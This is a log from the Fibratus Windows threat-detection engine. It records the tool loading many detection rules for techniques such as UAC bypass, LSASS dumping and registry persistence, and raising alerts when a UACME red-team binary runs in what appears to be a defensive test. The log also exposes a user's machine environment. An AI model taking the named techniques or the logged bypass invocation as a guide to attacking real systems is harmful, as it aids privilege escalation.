source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:28:21+01:00 level=info msg=bootstrapping with pid 8568. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:28:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-registry=>true stack-enrichment=>true min-buffers=>16 buffer-size=>512 enable-mem=>false enable-audit-api=>true enable-dns=>false enable-thread=>true enable-fileio=>true max-buffers=>36 enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-image=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 max-size=>100 formatter=>text level=>info] + output ......................... [ elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s timeout=>5s flush-period=>1s gzip-compression=>false enabled=>false index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 trace-log=>false healthcheck=>true] http=>[ method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus vhost=>/ timeout=>5s enabled=>false exchange-type=>topic durable=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false scan-timeout=>10s skip-registry=>false skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:28:21+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:28:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:28:35+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{C2610ACE-E5F7-4452-A2FA-CA946D64C917}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 8884219 + Pid: 16596 + Tid: 11648 + Type: RegSetValue + CPU: 1 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:28:32.9735723 +0100 CET + Params: key_handle➜ ffffc38f27f97140, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{C2610ACE-E5F7-4452-A2FA-CA946D64C917}\, status➜ Success + Metadata: technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/, rule.name: Hidden registry key creation, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112 + + Pid: 16596 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 33 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 33] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:28:37+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:28:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:28:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:28:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:29:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:29:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:29:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml 